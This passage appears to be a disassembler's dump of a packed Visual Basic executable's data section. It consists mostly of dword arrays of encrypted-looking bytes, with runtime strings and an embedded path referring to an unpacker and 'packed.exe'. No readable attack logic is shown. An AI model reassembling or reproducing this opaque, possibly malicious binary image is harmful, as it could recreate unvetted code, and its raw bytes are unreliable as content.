		dd 87AF46F9h, 0EB9B2C66h, 0A9D70766h, 29D97040h, 0C30CA8D3h
		dd 0F7CAC25h, 32E6A83Fh, 0F5CC8E31h, 6901F099h,	2357DC71h
		dd 397D89F8h, 98B0AAB8h, 0DF77CAh, 56C50000h, 3A6EA227h
		dd 0E1184CD1h, 5BC3F77Ch, 3671A52Ah, 0D1B952D7h, 4ACF3E69h
		dd 0F97EEF16h, 0A52A5BC5h, 55DA3371h, 46F943C2h, 2C9366C8h
		dd 7BBB29h, 0B989FA22h,	6C0A8D22h, 64E402A9h, 850CBCFCh
		dd 35BAD351h, 576A2D2h,	57BC155h, 308F14E4h, 45C735E6h
		dd 509A1995h, 9545C7AFh, 0AD5DF283h, 3BC02957h,	0F87B46EEh
		dd 66C849AEh, 0A0DD0D97h, 2EDE7545h, 82D8A839h,	3266EB1Ch
		dd 5BCB9BCCh, 2EED3AB8h, 0DF046518h, 8C853680h,	9E0827AAh
		dd 39E97A6Dh, 0C74CBDE3h, 0E535C664h, 0E8351024h, 4BBCE238h
		dd 8CF9257Bh, 34956ABCh, 6FB9C03Eh, 27AA63CCh, 6317C812h
		dd 6AFB27AAh, 0DAEF877h, 0E127AA63h, 0A126BB50h, 6D6376Dh
		dd 0CB3h, 0AE4C2100h, 0E1B0D9F1h, 4921D1D5h, 0DD0C7BB9h
		dd 2049B70Dh, 5F80FA50h, 0A1CC398Fh, 0E1007BD1h, 2140BB11h
		dd 6283FB51h, 0A0CD3C92h, 0DD0E7AD0h
		dd 8953560Dh, 4BE56E3h,	1000000h, 0EB835EF3h, 241C8704h
		dd 96685Ch, 1C890000h, 44AF6824h, 4890000h, 1685524h, 8B6C6B15h
		dd 0C481242Ch, 4, 0F581DDF7h, 618900C6h, 0ED81DDF7h, 7BF1468h
		dd 835DEB89h, 248904ECh, 24048324h, 52575804h, 0D789DA89h
		dd 878895Ah, 24048B5Fh,	81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 50241C8Bh, 405E089h,	83000000h, 48704C0h, 0BCE95C24h
		dd 0B2FFFB34h, 10BAB82Eh, 0C5030623h, 0C847E0FFh, 45EB1E21h
		dd 0D4CE6000h, 3FDC742Ah, 0EAA75EBBh, 0D01E7006h, 0CF1C5255h
		dd 0D0DD11CCh, 4BFB14F6h, 0C467704h, 430854F2h,	8CDD5D7Ch
		dd 0FF4F63AAh, 10E811CDh, 17000000h, 5C15AA6Ch,	32D4162Ah
		dd 0C9604BBh, 0F9AB1FCh, 108Fh,	0BE900h, 2B710000h, 0E56A8495h
		dd 0E4AB1C4Ch, 0D78B5E1Fh, 5A31C681h, 8B660000h, 0B8F9h
		dd 34FF0000h, 4850F30h,	66000000h, 5942D0BFh, 81DE8B66h
		dd 1A01DEE9h, 12E82Eh, 6DA50000h, 0ADC017FFh, 0A92F2F05h
		dd 0B55F0D68h, 79032EBDh, 9EC1815Fh, 8110548Dh,	0A0B002E7h
		dd 4BF1812Eh, 8B3A0D18h, 12E951D9h, 7C000000h, 67F5B171h
		dd 0FF64AD39h, 0A7571484h, 0FC0FD0D3h, 6048FAAh, 7E8h
		dd 0D0580C00h, 0ACC2BF5Ah, 11E9h, 0CAB0D400h, 0A4AB5CE4h
		dd 640E6904h, 7D18D026h, 0BA5A6E7Ah, 56130B63h,	0D8FFE881h
		dd 850F5E95h, 4, 0A93DBA66h, 0D8FBC081h, 8B605E95h, 0F88161FBh
		dd 0FFFFA6B4h, 0FF54850Fh, 0CA81FFFFh, 3CBE4B41h, 13328D8Dh
		dd 6A0623h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 89F92FC3h, 1D20D18Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 85C7DCFCh
		dd 61D331Dh, 5F30h, 0C7C1B70Fh,	1D2BF985h, 6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 3F598D53h, 3BB619FDh, 0B6D440BFh, 55B5FF03h,	89061D00h
		dd 1D1B51B5h, 61858906h, 0FF061D14h, 1D151995h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BF0F15D6h, 6A0CB3D7h, 995FF00h, 8B061D12h, 422EEBC0h
		dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h
		dd 26678CC5h, 27D266A1h, 708F7DB7h, 10D8F314h, 0D21EC580h
		dd 0EFEF1F8Fh, 8804EB3Fh, 0E93A2ABCh, 632h, 34DE96A4h
		dd 26D0989Bh, 1AC4A88Dh, 0BB5B381h, 0FEA8C472h,	64D2A986h
		dd 72C55E08h, 7DBB54FEh, 91B049F3h, 0C15339E3h,	61B59F2Fh
		dd 3FC62C23h, 0DF852D14h, 7448A854h, 0BCCFD301h, 0F9CA627Fh
		dd 69B4B28h, 778A08Fh, 934CAA6Ah, 8419C9A3h, 58EAAD21h
		dd 0F199F7E5h, 0DB8BE958h, 29079729h, 0E3942542h, 65FAAA85h
		dd 0EAE1842Ah, 7C359376h, 17D2AFC5h, 0D7D3621Ch, 5B7D65AAh
		dd 4415E6C5h, 0E187AC67h, 7EEA4904h, 0C05ADEA1h, 0B367EBAEh
		dd 540470D1h, 0F3FC10A2h, 5C0D2542h, 7BBD56FEh,	0BD4BF5h
		dd 81E74C36h, 9F9952B0h, 0F34C60F2h, 0AC5D2542h, 0F443FEDBh
		dd 0F7C8A492h, 94D45F1Ah, 343CFCB7h, 0BE5C0057h, 65B559B0h
		dd 0AD57191Fh, 0D6682D14h, 2542F3C6h, 745122D3h, 6C8012C4h
		dd 7D2542F3h, 0C9E06ECCh, 162542F3h, 0F7F98C8Eh, 8614FF69h
		dd 70h,	472D14DFh, 37FDBA6Ah, 0BB45D331h, 7C2542A6h, 4D5F26F4h
		dd 0EC14FF3Ch, 1, 491F1445h, 38FFBC6Ch,	2C8A5B38h, 0F8A8C073h
		dd 36E45963h, 0C456961Ah, 25424830h, 0E13F10C1h, 0BDE94B06h
		dd 7C452BBh, 94714264h,	52B045D1h, 0AE5D3BEDh, 2AF096F4h
		dd 0E58FD95Ah, 8313A557h, 102542E4h, 0F948015Fh, 8736CB7Bh
		dd 0BE50E0ADh, 6EF59DFBh, 6D4A2214h, 0F98728BDh, 6C1CE1C8h
		dd 8ADE550Eh, 0F723ADADh, 13C3A98Dh, 5CCE256h, 7131EE67h
		dd 19EAC798h, 0C77A13BBh, 2015D0ADh, 0BD9AD662h, 833E1BECh
		dd 24DFBCB4h, 0D8EC7E13h, 0E92542B9h, 0DA8A6738h, 42B9B448h
		dd 3D944525h, 65ED8199h, 0B4463FDBh, 0E314FF25h, 0A7h
		dd 6B22143Ch, 42A6C5D9h, 5425D625h, 5815C777h, 0EEFE8EDEh
		dd 0FB2542A6h, 233EC4Ah, 61D28D6Ah, 0A6069628h,	0E2932542h
		dd 0BF793411h, 4DD1D4B1h, 5ADEA1CDh, 0FA72C4C0h, 0E7FB750h
		dd 42A6687Ch, 0F7C87925h, 26B86A1Ah, 2542A696h,	5B147223h
		dd 22DF8FD9h, 0CA7A5711h, 42A6A438h, 0B3843525h, 0D02E3EF8h
		dd 73FD3AF5h, 145CDB96h, 0DE3CE037h, 9C7E0890h,	0FF3AD7E9h
		dd 648614h, 14DF0000h, 0E89A4A22h, 42A64656h, 44A25325h
		dd 0E68AAE69h, 0AEBA7936h, 0C7A200D1h, 0B5DA40C4h, 4E2B49F8h
		dd 0D0661F7Dh, 1F6BF29Ch, 0A6CBDB6Dh, 13222542h, 45A35459h
		dd 6AD7A78Ch, 0CC5C390Ah, 2542A63Dh, 6A472510h,	0A69428BAh
		dd 74252542h, 13F07CB9h, 0E08E8C10h, 0FA8B8F17h, 14FF3CF0h
		dd 187h, 2114E000h, 55DE9B4Bh, 0F4863613h, 2542A6E0h, 116F40F1h
		dd 6DC98636h, 59E8A1FFh, 42626959h, 0C7981CB9h,	62122FEAh
		dd 26ECA85h, 0A3CD6A25h, 0FA9EF5C6h, 53F74E20h,	6416C8C7h
		dd 42CAC2D2h, 8E1ECF25h, 2542CA7Eh, 0C37CDA8Bh,	9250FA72h
		dd 5F6F0184h, 6C2542CAh, 8A5028BBh, 0DF1B4E39h,	0EDCC5E0Eh
		dd 761F45C9h, 142DE8C5h, 4EF3B060h, 8720C826h, 4DDDBABAh
		dd 0DCA1C8B3h, 0E9C6A292h, 8865072Eh, 99EB2FD7h, 0FD00D19Fh
		dd 5EE3A179h, 6ED36C16h, 0D36E2906h, 345C4BDFh,	0C351B04h
		dd 0E9BA8B68h, 8BAB6818h, 0D53304E1h, 0AA70FAFAh, 630D67DAh
		dd 356A40D5h, 0BB8A9613h, 120BA55Dh, 3BF8ED1Ch,	0C39471FBh
		dd 151F165h, 0EF4A0000h, 0F98B3B59h, 1F45BDE8h,	0AD5D3AEBh
		dd 0F93D45F0h, 0F4C5A273h, 4E64DD96h, 0A0BDBAD8h, 2ED8A975h
		dd 0EBC8AC95h, 0E7F7893Bh, 0F4DCA0A9h, 0ED019343h, 0FEDCA0A9h
		dd 0B36EF4Dh, 20F767A7h, 6B3C0211h, 4AFC8E8Eh, 0A01424B8h
		dd 4904B5DCh, 7E2482EEh, 0AF41F39Ch, 0DCA0141Fh, 0E49DFBACh
		dd 0D56D175Dh, 0ED1D8EDBh, 6C62h, 621FBB00h, 5E3C9AD6h
		dd 69FBABC9h, 2542A6E5h, 3AD443B6h, 0A28CCDBBh,	0D04FDEEEh
		dd 0D7A87967h, 0BD5A6AFAh, 0BBB2542h, 0DBAB6A76h, 6435125Ah
		dd 0E5523CD1h, 2639E187h, 2EC37311h, 1934B54Bh,	28D634E2h
		dd 772FC476h, 0F810E0D0h, 2E9B2BBBh, 77282542h,	2ECB8B19h
		dd 27D82542h, 85007Dh, 0A2540000h, 4221FC10h, 0FE5C0D25h
		dd 3B59EF57h, 0C098F98Bh, 4AFB1F45h, 0E58FB26Dh, 0D59FA23Bh
		dd 7D5B68F8h, 0DE62DCA0h, 7BF9483Ch, 750513D1h,	0CB00EAC0h
		dd 6D28C4CDh, 891BCB9Ch, 0E6C1F8D2h, 0AB5B38E9h, 442153EEh
		dd 0E55C1573h, 0B75BB28Fh, 0E87A2C63h, 0D6FD91D4h, 0F8D634E5h
		dd 94DC5C22h, 6515E6B7h, 0D8531EB3h, 978BAC3Ch,	0D8BCAB39h
		dd 0AE60EC9Ch, 0DEF1881Ch, 72168BC8h, 89C028F9h, 7275D384h
		dd 1F9017C1h, 0E686B06Dh, 14A83809h, 0A52542A6h, 62B896F4h
		dd 8D19F444h, 23F4CE49h, 2CC173h, 66AD69CCh, 734C220h
		dd 941F23BDh, 0A45606E3h, 9E5D8212h, 0ED7F0FDCh, 0DC9E5DD9h
		dd 0A6839EAh, 0DA84F051h, 97740041h, 0A28D52E7h, 0E7024872h
		dd 0FFB0FB89h, 0C271F0E6h, 2A0EC9A6h, 1B137284h, 61321E1Fh
		dd 6CC984h, 0C8525223h,	0D5591C52h, 72023F45h, 62122FC8h
		dd 5E6E00B2h, 6B989150h, 0C6815CBAh, 4626106Eh
		dd 5ADD9875h, 0B97E3916h, 8129DAB7h, 0D27ED599h, 0D85F1F15h
		dd 19EAC798h, 8A0515BBh, 29066ACDh, 8616A858h, 13989150h
		dd 0F64B0462h, 50F90D9Fh, 590A9891h, 0FC45DE88h, 3FC9B78h
		dd 57000000h, 2614B65Dh, 8BB6714Eh, 0E7510CE9h,	46F1AC89h
		dd 0A4924D2Ah, 630EBC8h, 66CE8966h, 0CB6A2502h,	2A09C4A1h
		dd 529C613Eh, 0BF57E289h, 4, 835FFA01h,	148704EAh, 9A685C24h
		dd 8900007Dh, 8168241Ch, 8900002Bh, 6855243Ch, 4B375041h
		dd 2FC5815Dh, 89BAEBC3h, 242C8BEBh, 5404C483h, 83243C8Bh
		dd 0EC8104C4h, 4, 81241C89h, 48B1242Ch,	478F59F1h, 8478108h
		dd 59F148B1h, 5F2434FFh, 4C481h, 1C8B0000h, 0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 661CE95Ch, 2592FFFAh
		dd 2FBD3C6Ah, 1FB826D7h, 3062319h, 34E0FFC5h, 0BF3FA05Ah
		dd 3C6EB6EAh, 0A01AFD2Ah, 0E8792DCDh, 11h, 0FC88B654h
		dd 81CDB06Dh, 9EAA270Fh, 0BBA0417Fh, 0F98B6692h, 0C7C9805Eh
		dd 6D6AC681h, 0E2800000h, 1B316845h, 66580000h,	1E8BD78Bh
		dd 7C381F8h, 662D7B36h,	81CBEFBFh, 8636D8EBh, 0F4F38131h
		dd 0E84EAD35h, 11h, 91A8CCFFh, 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh
		dd 0BE8DCh, 3180000h, 0B0DEFC03h, 0E3CDAA54h, 0BE9F9h
		dd 0D9410000h, 0E1CF4535h, 8A71E796h, 895F5F74h, 0EE91Eh
		dd 0FC00000h, 0ECBC26Ch, 63F092B6h, 3205BEFCh, 8104EE83h
		dd 0FB0A6BEFh, 1E8815Ch, 0F000000h, 0FFFF8585h,	256EB9FFh
		dd 8D8D2B05h, 6231BBDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 3AC35040h, 98E737E8h,	9FE34B3Ch, 20D18D89h
		dd 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 7B9DB7C3h, 0C7131450h, 1D331D85h,	633C06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 307B3D7Ah, 0DDBE8459h, 68E0FD5h,	8B000000h
		dd 1D31099Dh, 0F7B70F06h, 2BF985C7h, 61Dh, 6E80000h, 0F1000000h
		dd 0B3B5DD5Eh, 8E0F50B2h, 0
		dd 0B5FF5B5Ah, 61D2929h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F5C35646h, 0C3191027h, 29F56058h, 1D169995h
		dd 85896106h, 61D0669h,	151995FFh, 6A061Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 61AC4BC3h
		dd 0CB99964Bh, 0E88D8DBFh, 0Ch,	7CD518B8h, 0CFCABD79h
		dd 0B18A9C1Ch, 14E8h, 0AAE29900h, 0A9FAE14Bh, 5FFAC78Dh
		dd 0DA344498h, 8DC89CBAh, 0EE9F0h, 669F0000h, 90B2A570h
		dd 946B632Dh, 999C219Eh, 6A5F5Eh, 120995FFh, 0C08B061Dh
		dd 0F073AEBh, 0E07EF6CDh, 5CC606C6h, 88612B0Dh,	3B80E621h
		dd 0A99C518Dh, 53C6D74Fh, 4D4A0130h, 9230EE52h,	0FF5264BAh
		dd 7A6B79A2h, 1FBB8B4Ch, 2FB26A7Bh, 40B8EF92h, 75329672h
		dd 15CE9h, 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h
		dd 70007265h, 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 83h,	88h, 2Eh
		dd 1B07E914h, 55680000h, 0E906231Fh, 0FFFA624Ah, 23206468h
		dd 6240E906h, 6E68FFFAh, 0E9062321h, 0FFFA6236h, 23221C68h
		dd 622CE906h, 5B68FFFAh, 0E9062322h, 0FFFA6222h, 23230868h
		dd 6218E906h, 6F68FFFAh, 0E9062323h, 0FFFA620Eh, 2323B668h
		dd 6204E906h, 0F268FFFAh, 0E9062329h, 0FFFA61FAh, 232A8E68h
		dd 61F0E906h, 4B68FFFAh, 0E906232Bh, 0FFFA61E6h, 232C7168h
		dd 61DCE906h, 0FA68FFFAh, 0E906232Ch, 0FFFA61D2h, 232DD568h
		dd 61C8E906h, 7468FFFAh, 0E906232Eh, 0FFFA61BEh, 232F0068h
		dd 61B4E906h, 3168FFFAh, 0E9062335h, 0FFFA61AAh, 23362B68h
		dd 61A0E906h, 0D768FFFAh, 0E9062336h, 0FFFA6196h, 842E46F4h
		dd 762048EBh, 6A1458DDh, 5B0563D1h, 4EF874C2h, 142219D6h
		dd 2215AE58h, 2D0BA44Eh, 41009943h, 11A38933h, 61B86F7Fh
		dd 8F167C23h, 0D95D2D14h, 14E5B693h, 0AFC57C37h, 93F14705h
		dd 0C47431E3h, 98AEB7EAh, 5122E70Fh, 1DEE58BEh,	0C220CE15h
		dd 45D23D34h, 35E5961Fh, 0D4B1BF78h, 3ACAA503h,	0DCA1EAAEh
		dd 91F426B0h, 0ED1C741Fh, 99D32E4h, 2C66721Bh, 6AA539C9h
		dd 8536DCA1h, 7EA66F2h,	71CFEA7Ah, 3EFDh, 621F5600h, 5D3B99D3h
		dd 67F9A9CFh, 1F45A532h, 27841D6h, 1357FE17h, 2401B2B5h
		dd 9ADCDF74h, 5855B9A3h, 0BD5C6CFAh, 58E2DCA0h,	2510CDC2h
		dd 3B996A47h, 1D276983h, 0B310EDh, 14690000h, 0DA97472Dh
		dd 6334115Bh, 0C76F2A05h, 340DC8A5h, 99A86340h,	8BC331DBh
		dd 522542A2h, 42DB85EFh, 0B89875FFh, 0C4560662h, 0E0BA47ADh
		dd 0DCB7526h, 0F7A9593Fh, 906D073Ah, 3B3104BFh,	0A12F8D5Eh
		dd 0E6AA9044h, 0B97626D7h, 823FEF7Dh, 0DDEBBB5h, 0C86E07AFh
		dd 8FA333C5h, 7F30D681h, 60CE3BAEh, 906BE0FDh, 1852F1h
		dd 0F97BBF00h, 0EB7DB64Fh, 0DF8DA841h, 0D0989C35h, 0C3A98D26h
		dd 0EDC2A119h, 0E0792349h, 0D66F1957h, 0CB640E62h, 6E54FE76h
		dd 0B9BA4ADCh, 0E1472361h, 6022145Ah, 0C494D5D5h, 0E6924B7Bh
		dd 19A4415h, 80EC4A40h,	5701D2A3h, 7959EFD0h, 0B09F75D0h
		dd 17A959E3h, 2542DB87h, 0E2926314h, 45D8D950h,	0DCB96A1Fh
		dd 0E51D972Ch, 0F5364A72h, 78F10997h, 0F57FDCA1h, 0E24E6025h
		dd 0CAEDED1Ch, 3F000000h, 0B89DD7AAh, 1DB0DB9Dh, 432D8646h
		dd 0E990EE82h, 97472D14h, 0A64353E5h, 9F502542h, 8BAB6641h
		dd 533040F7h, 24D4B182h, 0A6CCE072h, 2CDD2542h,	0A21440CEh
		dd 28DA2542h, 0BD5A0696h, 84E293DAh, 54FE76CBh,	11EE86BBh
		dd 0CD7D1B31h, 0BA40363Bh, 42EC9DE0h, 22D2B684h, 79ACE65h
		dd 44AA4DE5h, 0BF6DCB42h, 0AA15C12Dh, 0F1A152E6h, 0BC12AA3Fh
		dd 78CBFA7Bh, 8043D6E6h, 6132E3D6h, 80EC4A03h, 73F93DD6h
		dd 0FDA47D00h, 3CDBB6E0h, 1743h, 40EA8AB0h, 32DC8CA7h
		dd 26D09C99h, 17C1A78Dh, 0AB4B87Eh, 58DED592h, 66D16A14h
		dd 71C7600Ah, 85BC55FFh, 0CD5F45EFh, 6186AB3Bh,	4BD23823h
		dd 0A04A2214h, 903A3A07h, 852D1409h, 242AE261h,	7D5A2BC2h
		dd 4BF57FC2h, 29D9BF8Dh, 10D1E577h, 31E22542h, 0AA9325D3h
		dd 0E91F4509h, 3FCB5B38h, 41DCA128h, 2741F2AFh,	751B794Ah
		dd 0B6CEE0A5h, 9E33ED1Ch, 46BD122h, 4417CBAFh, 10DFA73Ah
		dd 0D0980C6Ah, 0F1000000h, 8593FF08h, 689D2FDFh, 0BB1F45ABh
		dd 88591720h, 0A52FA935h, 8399082Fh, 9B607406h,	0C071000Ah
		dd 0FB8D3FEFh, 0A9BEBh,	3BE947F8h, 0D9314A9h, 0B84AFC3Ah
		dd 3A698324h, 0A3A604B5h, 0E73515F2h, 943CD181h, 1B8CDD7Dh
		dd 9729D735h, 94408h, 2D43F48Fh, 0FEAE7F50h, 0B725D869h
		dd 0C826B40Bh, 90E45D1Ah, 0BEF44DE6h, 0C8E18F9Ch, 6CC3870Fh
		dd 70927B0Eh, 52DB4E1Fh, 0D7BBB589h, 16395DFCh,	94A60000h
		dd 969D36E0h, 0A68F28D2h, 0B1831CC6h, 0C2740DB7h, 0AB8800AAh
		dd 600A62D4h, 560070C7h, 4BF57BBDh, 3BE58FB2h, 9D31C355h
		dd 2E236187h, 2D1441C8h, 5ADA9747h, 25D5B00Eh, 0C3A0D068h
		dd 60B694F2h, 9BC25404h, 181F45BFh, 836BD67h, 0DF8593FFh
		dd 0C7F79A2Fh, 26E6F58h, 3164F6A4h, 821F45A9h, 0F4F27ED1h
		dd 659F9EAh, 12A45430h,	6DFC4283h, 0A2825F10h, 0AE40F094h
		dd 73BE4411h, 77F93EFBh, 686BC99Ah, 0B2CDD9F5h,	6BFE5553h
		dd 8A832ACCh, 46F6C789h, 63C1AF89h, 2B49F8B5h, 1B59E881h
		dd 446159A8h, 40DFBA6Eh, 158Bh,	883242F8h, 7A2444EFh, 6E1854E1h
		dd 5F095FD5h, 52FC70C6h, 10261DDAh, 1E19B25Ch, 290FA852h
		dd 3D049D47h, 15A78D37h, 61847383h, 931A8023h, 0D4472D14h
		dd 0D4C0897Fh, 4C6605E0h, 0B9000015h, 0B049F381h, 0A23BE583h
		dd 962FD993h, 8720CA9Eh, 9B13BDAFh, 1D4FE7DCh, 135DDA73h
		dd 868D069h, 0F87CC55Eh, 44D6684Eh, 236184B0h, 1454DB41h
		dd 0BA6A472Dh, 9834225h, 0AA0827C5h, 6A1A7ECCh,	88E68AADh
		dd 7C5D48DAh, 76331F45h, 494CAABEh, 0A360EE98h,	29FAD791h
		dd 0A0CE06CBh, 8C3EEE8Ah, 290666CFh, 396CFA58h,	8AE6A67Eh
		dd 50FA86D9h, 6A5A5DF4h, 7608B8DCh, 485BAC67h, 6E6C374h
		dd 12A45430h, 4E227A8Dh, 0F7A9590Ah, 9471FB3Ah,	95AC65C3h
		dd 0EAA735DFh, 71421F49h, 8DE75A13h, 0E017AF1Ah, 0BE5D3889h
		dd 149Fh, 9C462E0Ch, 8E383003h,	822C40F5h, 731D4BE9h, 66105CDAh
		dd 0FC3A31EEh, 0A2DC670h, 1523BC66h, 2918B15Bh,	29BBA14Bh
		dd 61850797h, 0A72E9423h, 42A6AF3Fh, 0B619B125h, 8B1F2542h
		dd 6DDABD46h, 469529BBh, 0C470DABDh, 90EE9FA4h,	0BD46F602h
		dd 0B6FC45DAh, 0F924534Bh, 0D0431441h, 0D4C0B31Fh, 387E1DF8h
		dd 0A5000014h, 9C35DF95h, 8E27D197h, 821BC5A7h,	730CB6B2h
		dd 87FFA9C3h, 963D3A8h,	0FF71C65Fh, 0F47CBC55h,	0E490B14Ah
		dd 30C2543Ah, 2361859Ch, 0EF40C72Dh, 0F98B3B59h, 1F45A040h
		dd 782FA253h, 29DADD8Fh, 13F1AF4Eh, 0DC5E0000h,	0DE55EE98h
		dd 0EE47E08Ah, 0F93BD47Eh, 0A2CC56Fh, 6340B862h, 18C2AA8Ch
		dd 0EB8B87Fh, 3ADC375h,	0F39DD76Ah, 0D5E97B0Dh,	0E6236185h
		dd 2D14F980h, 92AF6A47h, 0B43C05E2h, 0CB6C2966h, 3CF7C8A5h
		dd 0C79875FBh, 383FB169h, 1C3E14FFh, 97000000h,	42A6AB3Fh
		dd 0B5BF8225h, 80F04805h, 920C7A22h, 5B258B91h,	1385DF7Eh
		dd 1F3A0000h, 88AFD362h, 693A17E8h, 85EF520Bh, 0FD3BF8A8h
		dd 0E1371573h, 0EFCCA899h, 0B9D4D1Eh, 1F45B99Ah, 40CE7829h
		dd 33F4BE83h, 8A42DCB2h, 641FFCCDh, 0EABB98D0h,	0C7D76919h
		dd 0D4DCA080h, 51E7C523h, 0C17CF849h, 7626F775h, 80A232C4h
		dd 0BC2FDCA0h, 0EA3AFD51h, 167445F2h, 12FFD668h, 0EB9CE6A7h
		dd 8AE2530Eh, 236772E0h, 7DB6D687h, 8BA841EBh, 0EE4500DDh
		dd 139D9D7Ah, 0B2B67D07h, 0B97E7008h, 6C3E73Ah,	6DE13F31h
		dd 1AAh, 3B59EFC6h, 0B064F98Bh,	0C6771F45h, 0BC7C39E9h
		dd 24016BCAh, 6B248253h, 5DF6A0C8h, 25B592D6h, 0DCA05C95h
		dd 67E9C20h, 0D3913B2Dh, 0DD6F1F45h, 0E6A7652Ch, 5916C677h
		dd 0E0B18EDAh, 4AECA782h, 2DEA7822h, 0B3846107h, 4F2C3CF8h
		dd 0CF67207Eh, 9630C09Dh, 75D68715h, 11CCA9BFh,	96674430h
		dd 36135DDBh, 6F3DDD85h, 48813EDEh, 0B5B8898Ch,	0A5CB6C29h
		dd 0B79A147h, 536C7F2Bh, 212D0013h, 260DA650h, 89AA6542h
		dd 655E6E00h, 0BA6BD687h, 820C0CE9h, 0B345F798h, 0D6876523h
		dd 0E8A1FFB0h, 0DB731D4Bh, 0E73AFFD1h, 4168h
		dd 2214C100h, 0C899D760h, 660630EBh, 173CE89h, 9ECA6924h
		dd 0A07AFEC1h, 0D644CECEh, 3AE488AEh, 0FF3C08A2h, 0B143F514h
		dd 0DABD521Dh, 2B9FFDAEh, 0CAh,	0A539CB7Dh, 80DABD52h
		dd 0FDAEB3C1h, 59EFF89Fh, 0E8F98B3Bh, 0EB1F45BDh, 0A683F150h
		dd 975404D5h, 22F3D0A0h, 52EE9C4h, 0CFACC879h, 5F416BFEh
		dd 0FF53D80Eh, 48EB842Eh, 421FAF41h, 9D1EDCA0h,	4DCBE275h
		dd 4FE17176h, 0DCA040BFh, 0FCA9B4Ch, 98754626h,	621256DDh
		dd 0FFDC90A5h, 9D7AF244h, 0B94BFBCCh, 0DCA04025h, 0CCA705B6h
		dd 0ACD842CCh, 9F37E187h, 0ED1DDA0Dh, 3B2Ch, 5EEF8500h
		dd 0BB8CE454h, 989C590Bh, 411E52E6h, 0B3419F70h, 2542A693h
		dd 0C2724F00h, 613E3205h, 14A43290h, 4BDABD5Ah,	59EC73A7h
		dd 51F58737h, 42DABD58h, 136AE791h, 0C5000000h,	2CEC8A1Fh
		dd 1EB1BF79h, 0D6B11E4h, 2D70h,	2114CB00h, 80B36E4Bh, 8EA53EE8h
		dd 7F952ADAh, 79C7E808h, 3111EC4Ah, 0D9D7A1Eh, 0C8E832F6h
		dd 6322F882h, 14FF0649h, 0BD5F0h, 621F4900h, 0FDB895DFh
		dd 2603137h, 98751324h,	9BD26708h, 0AA67F99Eh, 279C1F8Bh
		dd 0CBA046E3h, 24F69CFAh, 0AB084F61h, 41EE62h, 0EF470000h
		dd 0F688385Ch, 2542A6E6h, 0BC1680F3h, 6C15C5F7h, 2CCE43D9h
		dd 7E4FFAE4h, 561B11A1h, 3DFA7E73h, 9D9B5633h, 0F163F6D3h
		dd 2936CE05h, 809A1EE1h, 3EDC66EEh, 73F5A547h, 251D442h
		dd 1F2D0000h, 0A6CBDB6Dh, 27D82542h, 5258EBC9h,	2FE2C5E1h
		dd 14C4F9A9h, 0EAD36643h, 7930C5D0h, 0CE774819h, 2810CD7Fh
		dd 1443EA48h, 7C9E472Dh, 308B15D7h, 44B217FFh, 0B000000h
		dd 8F385CEFh, 0A67C8D1Fh, 1FDC2542h, 0B5459618h, 0B3C09C2Ah
		dd 0D63405E2h, 1F7922D3h, 0E48A1F74h, 54FEA9B8h, 3DF8B10Fh
		dd 3BCD7F2Fh, 2542C2ABh, 89B8C538h, 7479CDCFh, 0EB9E45A3h
		dd 263060h, 0EF8B0000h,	1F8F385Ch, 0B2B5D86Dh, 23D34A96h
		dd 4978E7Ah, 55B30718h,	423D32C7h, 2AB5E25h, 2114741Fh
		dd 60EBA24Bh, 91CC7B3Fh, 0F98B3DBCh, 31EC63E5h,	2EE745F6h
		dd 2AA7A208h, 66F977C0h, 0BE8F18F8h, 0AEC67B14h, 0D795A15Eh
		dd 0F228D087h, 72C5AF92h, 3EEE86BBh, 5AB8B481h,	0D274430Ch
		dd 0AF92F228h, 7F4054E6h, 0A69B31ECh, 1B20F1CEh, 8F46996Ah
		dd 5512C2B2h, 0DBAC89DFh, 0F5532120h, 614CEAA7h, 31EC7F48h
		dd 586CFEB0h, 0B331EC7Fh, 390AE781h, 22258334h,	0E9BABA87h
		dd 0E03AE299h, 84D79DA4h, 260369CDh, 0A232C476h, 2F31EC7Fh
		dd 0A83CCE7Eh, 3931EC7Fh, 63652A88h, 0BAD545CBh, 563339FDh
		dd 0C86E2785h, 0E061FAA4h, 11E28EAAh, 7B3204C1h, 31EC7F6Eh
		dd 125EDA75h, 43936435h, 4A3AE088h, 732A7DF7h, 0A456A6CEh
		dd 411E4EE7h, 474D1270h, 0F345028Eh, 71CFA07Dh,	0C354FCBh
		dd 0E4B5B77Eh, 0AFC17734h, 0F8490051h, 0C76F2C7Ch, 2A0A7CBBh
		dd 0FD906D3Eh, 0BF91CDEAh, 0E1916263h, 0ECA9BF4Fh, 0CA9B4C31h
		dd 0FF1BC37Ah, 8B8BC85h, 6B2C8473h, 5BB9D418h, 93A15E0Ah
		dd 1FD077D5h, 0BE9BD562h, 680432EDh, 84F0510Ah,	0EFD47FDBh
		dd 7C953E5Eh, 0DB6D1FD7h, 2542A6CBh, 11C927D8h,	17FF308Fh
		dd 35AEh, 0F5430000h, 6FCD9E7Bh, 3E5EEFC8h, 7C8D1F95h
		dd 872542A6h, 462349ECh, 37F4A475h, 0EBFB8DFCh,	0F82542A6h
		dd 71187647h, 1F14741Fh, 60EBA049h, 2E30h, 5EEF8B00h, 621F953Eh
